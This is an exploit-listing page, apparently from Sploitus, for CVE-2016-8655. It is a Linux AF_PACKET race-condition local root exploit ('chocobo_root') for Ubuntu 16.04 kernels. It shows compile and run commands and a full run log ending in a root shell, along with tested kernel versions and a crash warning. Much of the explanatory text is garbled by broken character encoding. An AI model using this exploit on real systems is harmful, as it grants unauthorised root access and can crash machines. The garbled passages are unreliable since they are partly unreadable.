Sploitus

Exploit for CVE-2016-8655

kitploit ┬╖ 2026-08-25

Exploit Code

MARKDOWN26 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LAKSHMIDESAI-CVE-2016-8655
ocobo_root.c рд▓рд┐рдирдХреНрд╕ AF_PACKET рд░реЗрд╕ рдХрдВрдбреАрд╢рди рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ Ubuntu 16.04 x86_64 рдХреЗ рд▓рд┐рдП рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ

user@ubuntu:~~$ gcc chocobo_root.c -o chocobo_root -lpthread user@ubuntu:~~ $ ./chocobo_root

making vsyscall page writable..

new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 174222, last val = 2) current packet version = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 _=_ =_=_ TPACKET_V1 && offset_to_first_pkt != 0, race won _=_ =_=_ please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... vsyscall page altered!

stage 1 completed registering new sysctl..

new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 30773, last val = 0) current packet version = 2 pbd->hdr.bh1.offset_to_first_pkt = 48 race not won

retrying stage.. new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 133577, last val = 2) current packet version = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 _=_ =_=_ TPACKET_V1 && offset_to_first_pkt != 0, race won _=_ =_=_ please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... sysctl added!

stage 2 completed binary executed by kernel, launching rootshell root@ubuntu:~# id uid=0(root) gid=0(root) groups=0(root),1000(user)

_=_ =_=_ =_=_ =_=_ =_=_ =_=_ =_=_ =_=_ =_=_ =_=_ =_=_ =_=_ =_=_ =_=_ =_=_ =

рдкреБрд░рд╛рдиреЗ рдХрд░реНрдиреЗрд▓ рдХреЗ рд▓рд┐рдП рдСрдлрд╕реЗрдЯ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╡реЗ рдЕрдкрд░реАрдХреНрд╖рд┐рдд рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ рдпрд╣ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ 4.4 рд╕реЗ рдкреБрд░рд╛рдиреЗ рдХрд░реНрдиреЗрд▓ рдХреЛ рдХреНрд░реИрд╢ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдЗрди рдкрд░ рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛: Ubuntu 16.04: 4.4.0-51-generic Ubuntu 16.04: 4.4.0-47-generic Ubuntu 16.04: 4.4.0-36-generic Ubuntu 14.04: 4.4.0-47-generic #68~14.04.1-Ubuntu

рд╡рд┐рд╢реЗрд╖ рдзрдиреНрдпрд╡рд╛рдж: jsc рдкреНрд░реЗрд░рдгрд╛ рдХреЗ рд▓рд┐рдП (https://www.youtube.com/watch?v=x4UDIfcYMKI) mcdelivery рд╣реЙрдЯрдХреЗрдХ рдФрд░ рдХреЙрдлреА рдкрд╣реБрдБрдЪрд╛рдиреЗ рдХреЗ рд▓рд┐рдП

11/2016 rebel рджреНрд╡рд╛рд░рд╛